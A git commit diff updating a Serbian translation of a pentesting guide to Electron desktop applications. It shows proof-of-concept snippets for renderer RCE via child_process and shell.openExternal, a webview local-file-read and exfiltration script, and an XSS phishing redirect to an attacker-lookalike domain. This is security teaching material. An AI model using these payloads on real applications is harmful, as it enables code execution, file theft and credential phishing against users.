Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-01-07 18:27:57 +00:00
parent d37297568a
commit 2e4e99812b

View File

@ -20,11 +20,11 @@ U izvornoj kodu Electron aplikacije, unutar `packet.json`, možete pronaći nave
Electron ima 2 tipa procesa:
- Glavni proces (ima potpun pristup NodeJS-u)
- Proces renderera (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
- Proces renderovanja (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
![](<../../../images/image (182).png>)
**Proces renderera** će biti prozor pregledača koji učitava datoteku:
**Proces renderovanja** će biti prozor pregledača koji učitava datoteku:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar main.js datoteke. Neka od podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno konfigurisana**.
Podešavanja **renderer procesa** mogu se **konfigurisati** u **main procesu** unutar main.js datoteke. Neka od podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno konfigurisana**.
Electron aplikacija **može pristupiti uređaju** putem Node apija, iako se može konfigurisati da to spreči:
- **`nodeIntegration`** - je `off` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer process.
- **`contextIsolation`** - je `on` po defaultu. Ako je isključen, main i renderer procesi nisu izolovani.
- **`nodeIntegration`** - je `isključen` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer procesa.
- **`contextIsolation`** - je `uključen` po defaultu. Ako je isključen, glavni i renderer procesi nisu izolovani.
- **`preload`** - prazan po defaultu.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je isključen po defaultu. Ograničiće akcije koje NodeJS može izvesti.
- Node Integration u Workers
- **`nodeIntegrationInSubframes`** - je `off` po defaultu.
- Node Integration u Radnicima
- **`nodeIntegrationInSubframes`** - je `isključen` po defaultu.
- Ako je **`nodeIntegration`** **omogućen**, to bi omogućilo korišćenje **Node.js API-a** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
- Ako je **`nodeIntegration`** **onemogućen**, tada će preload-ovi učitati u iframe.
- Ako je **`nodeIntegration`** **onemogućen**, tada će preloads biti učitani u iframe.
Primer konfiguracije:
```javascript
@ -101,9 +101,9 @@ Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron lokalna injekcija koda
## Electron Local Code Injection
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljan JavaScript kod. Proverite kako u:
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Skripta navedena u ovoj postavci se l**oaduje pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node API-ima**:
Skripta navedena u ovom podešavanju se l**oaduje pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node API-ima**:
```javascript
new BrowserWindow{
webPreferences: {
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
### Obilaženje događaja klika
Ako postoje ograničenja koja se primenjuju kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
```javascript
window.addEventListener('click', (e) => {
```
@ -187,12 +187,12 @@ Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1
Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušaoci događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementirali svoju **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
**Evo pojednostavljenog pseudokoda:**
@ -202,7 +202,7 @@ Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementi
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalja objašnjenja o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
Na macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri Windows protokolskih eksploatacija uključuju:**
```html
@ -224,13 +224,13 @@ window.open(
)
</script>
```
## Čitanje unutrašnjih fajlova: XSS + contextIsolation
## Čitanje internih fajlova: XSS + contextIsolation
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja unutrašnjih fajlova:
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalje, podeljena je još jedna metoda za **čitanje unutrašnjeg fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
Dalje, podeljena je još jedna metoda za **čitanje internog fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
```html
<br /><br /><br /><br />
<h1>
@ -248,21 +248,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Old Chromium**
Ako je **chromium** koji koristi aplikacija **stari** i postoje **poznate** **ranjivosti** na njemu, može biti moguće **iskoristiti ga i dobiti RCE putem XSS**.\
Ako je **chromium** koji koristi aplikacija **star** i postoje **poznate** **ranjivosti** na njemu, može biti moguće **iskoristiti ga i dobiti RCE putem XSS**.\
Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing putem zaobilaženja interne URL regex**
Pretpostavljajući da ste pronašli XSS, ali **ne možete aktivirati RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
Pretpostavljajući da ste pronašli XSS, ali ne možete **pokrenuti RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod na front-endu:
Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** kao link koji pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, **ne beži tačke subdomena**) napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika:
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, ako **ne escapuje tačke subdomena**), napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -273,7 +273,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptiranja između sajtova (XSS).
> [!TIP]
> Iako **remote** modul izlaže neke API-je iz glavnog u renderer procese, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
> Iako **remote** modul izlaže neke API-je od glavnog do renderer procesa, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
> [!WARNING]
> Mnoge aplikacije koje još uvek koriste remote modul to rade na način koji **zahteva da NodeIntegration bude omogućen** u renderer procesu, što je **ogroman bezbednosni rizik**.
@ -306,7 +306,7 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** se prosleđuju.
- **`app.importCertificate(options, callback)`**
- **Uvozi** **PKCS#12 sertifikat** u sistemski **store sertifikata** (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **Uvozi** **PKCS#12 sertifikat** u sistemski **sertifikat store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **`app.moveToApplicationsFolder([options])`**
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za Mac korisnike.
- **`app.setJumpList(categories)`**
@ -344,11 +344,11 @@ console.log('Recent Places:', recentPlaces);
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS.
* **getUserDefault** može da **pribavi** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
* **getUserDefault** može da **dobije** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
* **setUserDefault** može da **modifikuje** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
* **setUserDefault** može da **izmeni** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
* U **starijim verzijama Electrona** (pre v8.3.0), samo je **standardni skup** NSUserDefaults bio **dostupan**.
* U **starijim verzijama Electrona** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
## Shell.showItemInFolder
@ -358,7 +358,7 @@ Za više informacija pogledajte [https://blog.doyensec.com/2021/02/16/electron-a
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i sigurnosnih anti-šablona u aplikacijama zasnovanim na Electron-u.
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i sigurnosnih anti-uzoraka u aplikacijama zasnovanim na Electron-u.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code dodatak za Electron aplikacije koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
- [**Electro.ng**](https://electro.ng/): Morate ga kupiti
@ -397,7 +397,7 @@ npm start
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Više istraživanja i članaka o Electron bezbednosti na [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- Više istraživanja i članaka o Electron bezbednosti u [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)